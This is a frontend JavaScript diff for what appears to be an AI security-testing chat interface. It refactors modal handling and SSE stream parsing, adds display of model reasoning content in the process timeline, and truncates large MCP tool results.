if (modal && typeof window.applyTranslations === 'function') {
|
if (modal && typeof window.applyTranslations === 'function') {
|
||||||
window.applyTranslations(modal);
|
window.applyTranslations(modal);
|
||||||
}
|
}
|
||||||
@@ -1068,8 +1071,7 @@ function openChatFilesRename(relativePath, currentName) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function closeChatFilesRenameModal() {
|
function closeChatFilesRenameModal() {
|
||||||
const modal = document.getElementById('chat-files-rename-modal');
|
closeAppModal('chat-files-rename-modal');
|
||||||
if (modal) modal.style.display = 'none';
|
|
||||||
const hint = document.getElementById('chat-files-rename-path-hint');
|
const hint = document.getElementById('chat-files-rename-path-hint');
|
||||||
if (hint) hint.textContent = '';
|
if (hint) hint.textContent = '';
|
||||||
chatFilesRenameRelativePath = '';
|
chatFilesRenameRelativePath = '';
|
||||||
@@ -1106,7 +1108,7 @@ function openChatFilesMkdirModal() {
|
|||||||
const p = chatFilesBrowsePath.join('/');
|
const p = chatFilesBrowsePath.join('/');
|
||||||
if (hint) hint.textContent = p ? ('chat_uploads/' + p) : 'chat_uploads';
|
if (hint) hint.textContent = p ? ('chat_uploads/' + p) : 'chat_uploads';
|
||||||
if (input) input.value = '';
|
if (input) input.value = '';
|
||||||
if (modal) modal.style.display = 'flex';
|
if (modal) openAppModal(modal);
|
||||||
if (modal && typeof window.applyTranslations === 'function') {
|
if (modal && typeof window.applyTranslations === 'function') {
|
||||||
window.applyTranslations(modal);
|
window.applyTranslations(modal);
|
||||||
}
|
}
|
||||||
@@ -1116,8 +1118,7 @@ function openChatFilesMkdirModal() {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function closeChatFilesMkdirModal() {
|
function closeChatFilesMkdirModal() {
|
||||||
const modal = document.getElementById('chat-files-mkdir-modal');
|
closeAppModal('chat-files-mkdir-modal');
|
||||||
if (modal) modal.style.display = 'none';
|
|
||||||
const input = document.getElementById('chat-files-mkdir-input');
|
const input = document.getElementById('chat-files-mkdir-input');
|
||||||
if (input) input.value = '';
|
if (input) input.value = '';
|
||||||
}
|
}
|
||||||
|
|||||||
+231
-108
@@ -982,6 +982,24 @@ async function sendMessage() {
|
|||||||
const reader = response.body.getReader();
|
const reader = response.body.getReader();
|
||||||
const decoder = new TextDecoder();
|
const decoder = new TextDecoder();
|
||||||
let buffer = '';
|
let buffer = '';
|
||||||
|
const dispatchStreamEvent = function (eventData) {
|
||||||
|
handleStreamEvent(eventData, progressElement, progressId,
|
||||||
|
() => assistantMessageId, (id) => { assistantMessageId = id; },
|
||||||
|
() => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
|
||||||
|
};
|
||||||
|
const processSseLines = typeof processSseDataLinesYielding === 'function'
|
||||||
|
? processSseDataLinesYielding
|
||||||
|
: async function (lines, onEvent) {
|
||||||
|
for (const line of lines) {
|
||||||
|
if (line.startsWith('data: ')) {
|
||||||
|
try {
|
||||||
|
onEvent(JSON.parse(line.slice(6)));
|
||||||
|
} catch (e) {
|
||||||
|
console.error('解析事件数据失败:', e, line);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
while (true) {
|
while (true) {
|
||||||
const { done, value } = await reader.read();
|
const { done, value } = await reader.read();
|
||||||
@@ -991,18 +1009,7 @@ async function sendMessage() {
|
|||||||
const lines = buffer.split('\n');
|
const lines = buffer.split('\n');
|
||||||
buffer = lines.pop(); // 保留最后一个不完整的行
|
buffer = lines.pop(); // 保留最后一个不完整的行
|
||||||
|
|
||||||
for (const line of lines) {
|
await processSseLines(lines, dispatchStreamEvent);
|
||||||
if (line.startsWith('data: ')) {
|
|
||||||
try {
|
|
||||||
const eventData = JSON.parse(line.slice(6));
|
|
||||||
handleStreamEvent(eventData, progressElement, progressId,
|
|
||||||
() => assistantMessageId, (id) => { assistantMessageId = id; },
|
|
||||||
() => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
|
|
||||||
} catch (e) {
|
|
||||||
console.error('解析事件数据失败:', e, line);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
// Flush decoder internal buffer to avoid losing the final partial UTF-8 code point.
|
// Flush decoder internal buffer to avoid losing the final partial UTF-8 code point.
|
||||||
buffer += decoder.decode();
|
buffer += decoder.decode();
|
||||||
@@ -1010,18 +1017,7 @@ async function sendMessage() {
|
|||||||
// 处理剩余的buffer
|
// 处理剩余的buffer
|
||||||
if (buffer.trim()) {
|
if (buffer.trim()) {
|
||||||
const lines = buffer.split('\n');
|
const lines = buffer.split('\n');
|
||||||
for (const line of lines) {
|
await processSseLines(lines, dispatchStreamEvent);
|
||||||
if (line.startsWith('data: ')) {
|
|
||||||
try {
|
|
||||||
const eventData = JSON.parse(line.slice(6));
|
|
||||||
handleStreamEvent(eventData, progressElement, progressId,
|
|
||||||
() => assistantMessageId, (id) => { assistantMessageId = id; },
|
|
||||||
() => mcpExecutionIds, (ids) => { mcpExecutionIds = ids; });
|
|
||||||
} catch (e) {
|
|
||||||
console.error('解析事件数据失败:', e, line);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
} finally {
|
} finally {
|
||||||
window.__csAgentLiveStream = { active: false, conversationId: null, progressId: null };
|
window.__csAgentLiveStream = { active: false, conversationId: null, progressId: null };
|
||||||
@@ -2168,6 +2164,97 @@ function showCopySuccess(button) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/** Claude extended thinking 内部尾缀(与后端 DisplayReasoningContent 一致,UI 不展示) */
|
||||||
|
const CLAUDE_REASONING_UI_SUFFIX = '\n---CSAI_CLAUDE_THINKING_BLOCKS---\n';
|
||||||
|
|
||||||
|
function normalizeReasoningContentForDisplay(text) {
|
||||||
|
if (text == null) return '';
|
||||||
|
let s = String(text).trim();
|
||||||
|
if (!s) return '';
|
||||||
|
const idx = s.lastIndexOf(CLAUDE_REASONING_UI_SUFFIX);
|
||||||
|
if (idx >= 0) {
|
||||||
|
s = s.slice(0, idx).trim();
|
||||||
|
}
|
||||||
|
return s;
|
||||||
|
}
|
||||||
|
|
||||||
|
function setMessageReasoningContent(messageIdOrEl, reasoningContent) {
|
||||||
|
const el = typeof messageIdOrEl === 'string' ? document.getElementById(messageIdOrEl) : messageIdOrEl;
|
||||||
|
if (!el || !el.dataset) return;
|
||||||
|
const rc = normalizeReasoningContentForDisplay(reasoningContent);
|
||||||
|
if (rc) {
|
||||||
|
el.dataset.reasoningContent = rc;
|
||||||
|
} else {
|
||||||
|
delete el.dataset.reasoningContent;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function getMessageReasoningContent(messageIdOrEl) {
|
||||||
|
const el = typeof messageIdOrEl === 'string' ? document.getElementById(messageIdOrEl) : messageIdOrEl;
|
||||||
|
if (!el || !el.dataset) return '';
|
||||||
|
return normalizeReasoningContentForDisplay(el.dataset.reasoningContent || '');
|
||||||
|
}
|
||||||
|
|
||||||
|
function reasoningTextAlreadyInProcessDetails(processDetails, rc) {
|
||||||
|
if (!rc) return true;
|
||||||
|
const list = Array.isArray(processDetails) ? processDetails : [];
|
||||||
|
for (let i = 0; i < list.length; i++) {
|
||||||
|
const d = list[i];
|
||||||
|
if (!d) continue;
|
||||||
|
const et = d.eventType || '';
|
||||||
|
if (et !== 'reasoning_chain' && et !== 'thinking') continue;
|
||||||
|
const msg = normalizeReasoningContentForDisplay(d.message || '');
|
||||||
|
if (!msg) continue;
|
||||||
|
if (msg === rc || msg.includes(rc) || rc.includes(msg)) {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 合并 messages.reasoningContent 与 process_details 中的 reasoning_chain,两者都读、都展示(去重后) */
|
||||||
|
function mergeMessageReasoningContentIntoProcessDetails(processDetails, reasoningContent) {
|
||||||
|
const rc = normalizeReasoningContentForDisplay(reasoningContent);
|
||||||
|
const details = Array.isArray(processDetails) ? processDetails.slice() : [];
|
||||||
|
if (!rc || reasoningTextAlreadyInProcessDetails(details, rc)) {
|
||||||
|
return details;
|
||||||
|
}
|
||||||
|
details.push({
|
||||||
|
eventType: 'reasoning_chain',
|
||||||
|
message: rc,
|
||||||
|
data: { source: 'message.reasoningContent' }
|
||||||
|
});
|
||||||
|
return details;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function syncAssistantReasoningContentFromServer(backendMessageId, domAssistantId) {
|
||||||
|
if (!backendMessageId || !domAssistantId || !currentConversationId || typeof apiFetch !== 'function') {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
try {
|
||||||
|
const convRes = await apiFetch(`/api/conversations/${encodeURIComponent(currentConversationId)}?include_process_details=0`);
|
||||||
|
const conv = await convRes.json().catch(() => ({}));
|
||||||
|
if (!convRes.ok || !Array.isArray(conv.messages)) return;
|
||||||
|
const msg = conv.messages.find((m) => m && String(m.id) === String(backendMessageId));
|
||||||
|
if (!msg || !msg.reasoningContent) return;
|
||||||
|
setMessageReasoningContent(domAssistantId, msg.reasoningContent);
|
||||||
|
const pdRes = await apiFetch(`/api/messages/${encodeURIComponent(String(backendMessageId))}/process-details`);
|
||||||
|
const pdJson = await pdRes.json().catch(() => ({}));
|
||||||
|
const details = pdRes.ok && Array.isArray(pdJson.processDetails) ? pdJson.processDetails : [];
|
||||||
|
if (typeof renderProcessDetails === 'function') {
|
||||||
|
renderProcessDetails(domAssistantId, details);
|
||||||
|
}
|
||||||
|
} catch (e) {
|
||||||
|
console.warn('syncAssistantReasoningContentFromServer failed', e);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
window.normalizeReasoningContentForDisplay = normalizeReasoningContentForDisplay;
|
||||||
|
window.setMessageReasoningContent = setMessageReasoningContent;
|
||||||
|
window.getMessageReasoningContent = getMessageReasoningContent;
|
||||||
|
window.mergeMessageReasoningContentIntoProcessDetails = mergeMessageReasoningContentIntoProcessDetails;
|
||||||
|
window.syncAssistantReasoningContentFromServer = syncAssistantReasoningContentFromServer;
|
||||||
|
|
||||||
/** 相邻且类型/正文/data 完全一致的过程详情只保留一条(与后端去重一致,避免时间线叠多条相同块) */
|
/** 相邻且类型/正文/data 完全一致的过程详情只保留一条(与后端去重一致,避免时间线叠多条相同块) */
|
||||||
function dedupeConsecutiveProcessDetailRows(details) {
|
function dedupeConsecutiveProcessDetailRows(details) {
|
||||||
if (!Array.isArray(details) || details.length < 2) {
|
if (!Array.isArray(details) || details.length < 2) {
|
||||||
@@ -2286,20 +2373,27 @@ function renderProcessDetails(messageId, processDetails) {
|
|||||||
detailsContainer.appendChild(contentDiv);
|
detailsContainer.appendChild(contentDiv);
|
||||||
}
|
}
|
||||||
|
|
||||||
// processDetails === null 表示“尚未加载(懒加载)”
|
// processDetails === null 表示“尚未加载(懒加载)”;messages.reasoningContent 可先展示
|
||||||
const isLazyNotLoaded = (processDetails === null);
|
const isLazyNotLoaded = (processDetails === null);
|
||||||
if (isLazyNotLoaded) {
|
const reasoningFromMessage = getMessageReasoningContent(messageElement);
|
||||||
|
if (isLazyNotLoaded && !reasoningFromMessage) {
|
||||||
detailsContainer.dataset.lazyNotLoaded = '1';
|
detailsContainer.dataset.lazyNotLoaded = '1';
|
||||||
detailsContainer.dataset.loaded = '0';
|
detailsContainer.dataset.loaded = '0';
|
||||||
timeline.innerHTML = '<div class="progress-timeline-empty">' +
|
timeline.innerHTML = '<div class="progress-timeline-empty">' +
|
||||||
(typeof window.t === 'function' ? window.t('chat.expandDetail') : '展开详情') +
|
(typeof window.t === 'function' ? window.t('chat.expandDetail') : '展开详情') +
|
||||||
'(点击后加载)</div>';
|
'(点击后加载)</div>';
|
||||||
// 默认折叠
|
|
||||||
timeline.classList.remove('expanded');
|
timeline.classList.remove('expanded');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
detailsContainer.dataset.lazyNotLoaded = '0';
|
if (isLazyNotLoaded) {
|
||||||
detailsContainer.dataset.loaded = '1';
|
detailsContainer.dataset.lazyNotLoaded = '1';
|
||||||
|
detailsContainer.dataset.loaded = '0';
|
||||||
|
processDetails = [];
|
||||||
|
} else {
|
||||||
|
detailsContainer.dataset.lazyNotLoaded = '0';
|
||||||
|
detailsContainer.dataset.loaded = '1';
|
||||||
|
}
|
||||||
|
processDetails = mergeMessageReasoningContentIntoProcessDetails(processDetails, reasoningFromMessage);
|
||||||
processDetails = dedupeConsecutiveProcessDetailRows(processDetails);
|
processDetails = dedupeConsecutiveProcessDetailRows(processDetails);
|
||||||
if (typeof window.coalesceProcessDetailsToolPairs === 'function') {
|
if (typeof window.coalesceProcessDetailsToolPairs === 'function') {
|
||||||
processDetails = window.coalesceProcessDetailsToolPairs(processDetails);
|
processDetails = window.coalesceProcessDetailsToolPairs(processDetails);
|
||||||
@@ -2384,6 +2478,10 @@ function renderProcessDetails(messageId, processDetails) {
|
|||||||
itemTitle = agPx + execLine;
|
itemTitle = agPx + execLine;
|
||||||
} else if (eventType === 'eino_agent_reply') {
|
} else if (eventType === 'eino_agent_reply') {
|
||||||
itemTitle = agPx + '💬 ' + (typeof window.t === 'function' ? window.t('chat.einoAgentReplyTitle') : '子代理回复');
|
itemTitle = agPx + '💬 ' + (typeof window.t === 'function' ? window.t('chat.einoAgentReplyTitle') : '子代理回复');
|
||||||
|
} else if (eventType === 'eino_empty_response_continue') {
|
||||||
|
itemTitle = typeof window.t === 'function'
|
||||||
|
? window.t('chat.einoEmptyResponseContinueTitle')
|
||||||
|
: '🔁 自动续跑(无助手正文)';
|
||||||
} else if (eventType === 'eino_run_retry') {
|
} else if (eventType === 'eino_run_retry') {
|
||||||
itemTitle = typeof window.t === 'function'
|
itemTitle = typeof window.t === 'function'
|
||||||
? window.t('chat.einoRunRetryTitle')
|
? window.t('chat.einoRunRetryTitle')
|
||||||
@@ -2426,6 +2524,14 @@ function renderProcessDetails(messageId, processDetails) {
|
|||||||
}
|
}
|
||||||
addTimelineItem(timeline, eventType, timelineOpts);
|
addTimelineItem(timeline, eventType, timelineOpts);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
if (isLazyNotLoaded && reasoningFromMessage) {
|
||||||
|
const lazyHint = document.createElement('div');
|
||||||
|
lazyHint.className = 'progress-timeline-empty progress-timeline-lazy-hint';
|
||||||
|
lazyHint.textContent = (typeof window.t === 'function' ? window.t('chat.expandDetail') : '展开详情') +
|
||||||
|
'(点击后加载完整过程详情)';
|
||||||
|
timeline.appendChild(lazyHint);
|
||||||
|
}
|
||||||
|
|
||||||
// 检查是否有错误或取消事件,如果有,确保详情默认折叠(但仍有待审批 HITL 时保持展开,由 restoreHitlInlineForConversation 处理)
|
// 检查是否有错误或取消事件,如果有,确保详情默认折叠(但仍有待审批 HITL 时保持展开,由 restoreHitlInlineForConversation 处理)
|
||||||
const hasPendingHitlInDetails = processDetails.some(d => d && d.eventType === 'hitl_interrupt');
|
const hasPendingHitlInDetails = processDetails.some(d => d && d.eventType === 'hitl_interrupt');
|
||||||
@@ -2533,12 +2639,70 @@ async function batchUpdateButtonToolNames(buttonsContainer, executionIds) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 显示MCP调用详情
|
// 显示MCP调用详情
|
||||||
|
const MCP_DETAIL_MAX_CHARS = 120000;
|
||||||
|
|
||||||
|
function extractMCPResultText(result) {
|
||||||
|
if (!result) return '';
|
||||||
|
const content = result.content;
|
||||||
|
if (typeof content === 'string') return content;
|
||||||
|
if (Array.isArray(content)) {
|
||||||
|
return content
|
||||||
|
.map(item => (item && typeof item === 'object' && typeof item.text === 'string') ? item.text : '')
|
||||||
|
.filter(Boolean)
|
||||||
|
.join('\n\n');
|
||||||
|
}
|
||||||
|
if (content && typeof content === 'object' && typeof content.text === 'string') {
|
||||||
|
return content.text;
|
||||||
|
}
|
||||||
|
return '';
|
||||||
|
}
|
||||||
|
|
||||||
|
function truncateMCPDetailText(text, maxChars) {
|
||||||
|
if (text == null) return '';
|
||||||
|
const s = String(text);
|
||||||
|
if (s.length <= maxChars) return s;
|
||||||
|
const hint = typeof window.t === 'function'
|
||||||
|
? window.t('mcpDetailModal.contentTruncated')
|
||||||
|
: '…(展示已截断;完整内容见 persisted-output 中的文件路径,用 read_file 读取)';
|
||||||
|
return s.slice(0, maxChars) + '\n\n' + hint;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** 响应结果区 JSON 展示(过大时截断 content 内 text,避免 stringify 卡死页面) */
|
||||||
|
function formatMCPResultJsonForDisplay(result, maxChars) {
|
||||||
|
if (!result) return '{}';
|
||||||
|
const payload = {
|
||||||
|
content: result.content,
|
||||||
|
isError: !!result.isError
|
||||||
|
};
|
||||||
|
let json = JSON.stringify(payload, null, 2);
|
||||||
|
if (json.length <= maxChars) {
|
||||||
|
return json;
|
||||||
|
}
|
||||||
|
const text = extractMCPResultText(result);
|
||||||
|
const truncatedPayload = {
|
||||||
|
content: [{ type: 'text', text: truncateMCPDetailText(text, Math.min(maxChars - 800, MCP_DETAIL_MAX_CHARS)) }],
|
||||||
|
isError: !!result.isError
|
||||||
|
};
|
||||||
|
json = JSON.stringify(truncatedPayload, null, 2);
|
||||||
|
if (json.length > maxChars) {
|
||||||
|
return json.slice(0, maxChars) + '\n…';
|
||||||
|
}
|
||||||
|
return json;
|
||||||
|
}
|
||||||
|
|
||||||
async function showMCPDetail(executionId) {
|
async function showMCPDetail(executionId) {
|
||||||
try {
|
try {
|
||||||
|
openAppModal('mcp-detail-modal', { focus: false });
|
||||||
const response = await apiFetch(`/api/monitor/execution/${executionId}`);
|
const response = await apiFetch(`/api/monitor/execution/${executionId}`);
|
||||||
const exec = await response.json();
|
const exec = await response.json();
|
||||||
|
|
||||||
if (response.ok) {
|
if (!response.ok) {
|
||||||
|
closeMCPDetail();
|
||||||
|
alert((typeof window.t === 'function' ? window.t('mcpDetailModal.getDetailFailed') : '获取详情失败') + ': ' + (exec.error || (typeof window.t === 'function' ? window.t('mcpDetailModal.unknown') : '未知错误')));
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
deferModalContent(function () {
|
||||||
// 填充模态框内容
|
// 填充模态框内容
|
||||||
document.getElementById('detail-tool-name').textContent = exec.toolName || (typeof window.t === 'function' ? window.t('mcpDetailModal.unknown') : 'Unknown');
|
document.getElementById('detail-tool-name').textContent = exec.toolName || (typeof window.t === 'function' ? window.t('mcpDetailModal.unknown') : 'Unknown');
|
||||||
document.getElementById('detail-execution-id').textContent = exec.id || 'N/A';
|
document.getElementById('detail-execution-id').textContent = exec.id || 'N/A';
|
||||||
@@ -2587,42 +2751,22 @@ async function showMCPDetail(executionId) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (exec.result) {
|
if (exec.result) {
|
||||||
const responseData = {
|
const agentVisibleText = truncateMCPDetailText(extractMCPResultText(exec.result), MCP_DETAIL_MAX_CHARS);
|
||||||
content: exec.result.content,
|
const emptyText = typeof window.t === 'function' ? window.t('mcpDetailModal.execSuccessNoContent') : '执行成功,未返回可展示的文本内容。';
|
||||||
isError: exec.result.isError
|
|
||||||
};
|
|
||||||
responseElement.textContent = JSON.stringify(responseData, null, 2);
|
|
||||||
|
|
||||||
if (exec.result.isError) {
|
if (exec.result.isError) {
|
||||||
// 错误场景:响应结果标红 + 错误信息区块
|
|
||||||
responseElement.className = 'code-block error';
|
responseElement.className = 'code-block error';
|
||||||
|
responseElement.textContent = formatMCPResultJsonForDisplay(exec.result, MCP_DETAIL_MAX_CHARS);
|
||||||
if (exec.error && errorSection && errorElement) {
|
if (exec.error && errorSection && errorElement) {
|
||||||
errorSection.style.display = 'block';
|
errorSection.style.display = 'block';
|
||||||
errorElement.textContent = exec.error;
|
errorElement.textContent = exec.error;
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
// 成功场景:响应结果保持普通样式,正确信息单独拎出来
|
|
||||||
responseElement.className = 'code-block';
|
responseElement.className = 'code-block';
|
||||||
|
responseElement.textContent = formatMCPResultJsonForDisplay(exec.result, MCP_DETAIL_MAX_CHARS);
|
||||||
if (successSection && successElement) {
|
if (successSection && successElement) {
|
||||||
successSection.style.display = 'block';
|
successSection.style.display = 'block';
|
||||||
let successText = '';
|
successElement.textContent = agentVisibleText || emptyText;
|
||||||
const content = exec.result.content;
|
|
||||||
if (typeof content === 'string') {
|
|
||||||
successText = content;
|
|
||||||
} else if (Array.isArray(content)) {
|
|
||||||
const texts = content
|
|
||||||
.map(item => (item && typeof item === 'object' && typeof item.text === 'string') ? item.text : '')
|
|
||||||
.filter(Boolean);
|
|
||||||
if (texts.length > 0) {
|
|
||||||
successText = texts.join('\n\n');
|
|
||||||
}
|
|
||||||
} else if (content && typeof content === 'object' && typeof content.text === 'string') {
|
|
||||||
successText = content.text;
|
|
||||||
}
|
|
||||||
if (!successText) {
|
|
||||||
successText = typeof window.t === 'function' ? window.t('mcpDetailModal.execSuccessNoContent') : '执行成功,未返回可展示的文本内容。';
|
|
||||||
}
|
|
||||||
successElement.textContent = successText;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
@@ -2645,20 +2789,16 @@ async function showMCPDetail(executionId) {
|
|||||||
delete abortBtn.dataset.execId;
|
delete abortBtn.dataset.execId;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
});
|
||||||
// 显示模态框
|
|
||||||
document.getElementById('mcp-detail-modal').style.display = 'block';
|
|
||||||
} else {
|
|
||||||
alert((typeof window.t === 'function' ? window.t('mcpDetailModal.getDetailFailed') : '获取详情失败') + ': ' + (exec.error || (typeof window.t === 'function' ? window.t('mcpDetailModal.unknown') : '未知错误')));
|
|
||||||
}
|
|
||||||
} catch (error) {
|
} catch (error) {
|
||||||
|
closeMCPDetail();
|
||||||
alert((typeof window.t === 'function' ? window.t('mcpDetailModal.getDetailFailed') : '获取详情失败') + ': ' + error.message);
|
alert((typeof window.t === 'function' ? window.t('mcpDetailModal.getDetailFailed') : '获取详情失败') + ': ' + error.message);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// 关闭MCP详情模态框
|
// 关闭MCP详情模态框
|
||||||
function closeMCPDetail() {
|
function closeMCPDetail() {
|
||||||
document.getElementById('mcp-detail-modal').style.display = 'none';
|
closeAppModal('mcp-detail-modal');
|
||||||
}
|
}
|
||||||
|
|
||||||
/** 从详情模态框触发:取消当前进行中的 MCP 工具调用 */
|
/** 从详情模态框触发:取消当前进行中的 MCP 工具调用 */
|
||||||
@@ -2682,18 +2822,12 @@ function openMcpToolAbortModal(executionId, options = {}) {
|
|||||||
if (ta) {
|
if (ta) {
|
||||||
ta.value = '';
|
ta.value = '';
|
||||||
}
|
}
|
||||||
const m = document.getElementById('mcp-tool-abort-modal');
|
openAppModal('mcp-tool-abort-modal');
|
||||||
if (m) {
|
|
||||||
m.style.display = 'block';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function closeMcpToolAbortModal() {
|
function closeMcpToolAbortModal() {
|
||||||
window.__mcpToolAbortContext = null;
|
window.__mcpToolAbortContext = null;
|
||||||
const m = document.getElementById('mcp-tool-abort-modal');
|
closeAppModal('mcp-tool-abort-modal');
|
||||||
if (m) {
|
|
||||||
m.style.display = 'none';
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
async function submitMcpToolAbortModal() {
|
async function submitMcpToolAbortModal() {
|
||||||
@@ -2846,10 +2980,12 @@ async function startNewConversation() {
|
|||||||
} catch (e) { /* ignore */ }
|
} catch (e) { /* ignore */ }
|
||||||
currentConversationGroupId = null; // 新对话不属于任何分组
|
currentConversationGroupId = null; // 新对话不属于任何分组
|
||||||
if (typeof ensureDefaultActiveProjectForNewChat === 'function') {
|
if (typeof ensureDefaultActiveProjectForNewChat === 'function') {
|
||||||
ensureDefaultActiveProjectForNewChat().catch(() => {});
|
try {
|
||||||
|
await ensureDefaultActiveProjectForNewChat();
|
||||||
|
} catch (e) { /* ignore */ }
|
||||||
}
|
}
|
||||||
if (typeof refreshChatProjectSelector === 'function') {
|
if (typeof refreshChatProjectSelector === 'function') {
|
||||||
refreshChatProjectSelector();
|
await refreshChatProjectSelector();
|
||||||
}
|
}
|
||||||
document.getElementById('chat-messages').innerHTML = '';
|
document.getElementById('chat-messages').innerHTML = '';
|
||||||
const readyMsgNew = typeof window.t === 'function' ? window.t('chat.systemReadyMessage') : '系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。';
|
const readyMsgNew = typeof window.t === 'function' ? window.t('chat.systemReadyMessage') : '系统已就绪。请输入您的测试需求,系统将自动执行相应的安全测试。';
|
||||||
@@ -3125,7 +3261,7 @@ async function loadConversation(conversationId) {
|
|||||||
|
|
||||||
// 如果攻击链模态框打开且显示的不是当前对话,关闭它
|
// 如果攻击链模态框打开且显示的不是当前对话,关闭它
|
||||||
const attackChainModal = document.getElementById('attack-chain-modal');
|
const attackChainModal = document.getElementById('attack-chain-modal');
|
||||||
if (attackChainModal && attackChainModal.style.display === 'block') {
|
if (attackChainModal && isAppModalOpen('attack-chain-modal')) {
|
||||||
if (currentAttackChainConversationId !== conversationId) {
|
if (currentAttackChainConversationId !== conversationId) {
|
||||||
closeAttackChainModal();
|
closeAttackChainModal();
|
||||||
}
|
}
|
||||||
@@ -3194,6 +3330,9 @@ async function loadConversation(conversationId) {
|
|||||||
attachDeleteTurnButton(messageEl);
|
attachDeleteTurnButton(messageEl);
|
||||||
}
|
}
|
||||||
if (msg.role === 'assistant') {
|
if (msg.role === 'assistant') {
|
||||||
|
if (messageEl && msg.reasoningContent) {
|
||||||
|
setMessageReasoningContent(messageEl, msg.reasoningContent);
|
||||||
|
}
|
||||||
const hasField = msg && Object.prototype.hasOwnProperty.call(msg, 'processDetails');
|
const hasField = msg && Object.prototype.hasOwnProperty.call(msg, 'processDetails');
|
||||||
renderProcessDetails(messageId, hasField ? (msg.processDetails || []) : null);
|
renderProcessDetails(messageId, hasField ? (msg.processDetails || []) : null);
|
||||||
if (msg.processDetails && msg.processDetails.length > 0) {
|
if (msg.processDetails && msg.processDetails.length > 0) {
|
||||||
@@ -3369,7 +3508,7 @@ async function deleteConversationTurnFromUI(anchorBackendMessageId) {
|
|||||||
async function deleteConversation(conversationId, skipConfirm = false) {
|
async function deleteConversation(conversationId, skipConfirm = false) {
|
||||||
// 确认删除(如果调用者没有跳过确认)
|
// 确认删除(如果调用者没有跳过确认)
|
||||||
if (!skipConfirm) {
|
if (!skipConfirm) {
|
||||||
if (!confirm('确定要删除这个对话吗?此操作不可恢复。')) {
|
if (!confirm('确定要删除这个对话吗?对话消息将不可恢复,但已记录的漏洞会保留在漏洞库中。')) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -3415,7 +3554,7 @@ async function deleteConversation(conversationId, skipConfirm = false) {
|
|||||||
|
|
||||||
// 批量管理弹窗打开时,同步刷新弹窗内列表
|
// 批量管理弹窗打开时,同步刷新弹窗内列表
|
||||||
const batchModal = document.getElementById('batch-manage-modal');
|
const batchModal = document.getElementById('batch-manage-modal');
|
||||||
if (batchModal && batchModal.style.display === 'flex') {
|
if (batchModal && isAppModalOpen('batch-manage-modal')) {
|
||||||
allConversationsForBatch = allConversationsForBatch.filter(c => c.id !== conversationId);
|
allConversationsForBatch = allConversationsForBatch.filter(c => c.id !== conversationId);
|
||||||
updateBatchManageTitle(allConversationsForBatch.length);
|
updateBatchManageTitle(allConversationsForBatch.length);
|
||||||
const searchInput = document.getElementById('batch-search-input');
|
const searchInput = document.getElementById('batch-search-input');
|
||||||
@@ -3522,7 +3661,7 @@ async function showAttackChain(conversationId) {
|
|||||||
if (isAttackChainLoading(conversationId) && currentAttackChainConversationId === conversationId) {
|
if (isAttackChainLoading(conversationId) && currentAttackChainConversationId === conversationId) {
|
||||||
// 如果模态框已经打开且显示的是同一个对话,不重复打开
|
// 如果模态框已经打开且显示的是同一个对话,不重复打开
|
||||||
const modal = document.getElementById('attack-chain-modal');
|
const modal = document.getElementById('attack-chain-modal');
|
||||||
if (modal && modal.style.display === 'block') {
|
if (modal && isAppModalOpen('attack-chain-modal')) {
|
||||||
console.log('攻击链正在加载中,模态框已打开');
|
console.log('攻击链正在加载中,模态框已打开');
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -3535,8 +3674,7 @@ async function showAttackChain(conversationId) {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
modal.style.display = 'block';
|
openAppModal('attack-chain-modal', { focus: false });
|
||||||
// 打开时立即按当前语言刷新统计(避免红框内仍显示硬编码中文)
|
|
||||||
updateAttackChainStats({ nodes: [], edges: [] });
|
updateAttackChainStats({ nodes: [], edges: [] });
|
||||||
|
|
||||||
// 清空容器
|
// 清空容器
|
||||||
@@ -4668,10 +4806,7 @@ function closeNodeDetails() {
|
|||||||
|
|
||||||
// 关闭攻击链模态框
|
// 关闭攻击链模态框
|
||||||
function closeAttackChainModal() {
|
function closeAttackChainModal() {
|
||||||
const modal = document.getElementById('attack-chain-modal');
|
closeAppModal('attack-chain-modal');
|
||||||
if (modal) {
|
|
||||||
modal.style.display = 'none';
|
|
||||||
}
|
|
||||||
|
|
||||||
// 关闭节点详情
|
// 关闭节点详情
|
||||||
closeNodeDetails();
|
closeNodeDetails();
|
||||||
@@ -7214,19 +7349,14 @@ async function showBatchManageModal() {
|
|||||||
updateBatchManageTitle(allConversationsForBatch.length);
|
updateBatchManageTitle(allConversationsForBatch.length);
|
||||||
|
|
||||||
renderBatchConversations();
|
renderBatchConversations();
|
||||||
if (modal) {
|
openAppModal('batch-manage-modal');
|
||||||
modal.style.display = 'flex';
|
|
||||||
}
|
|
||||||
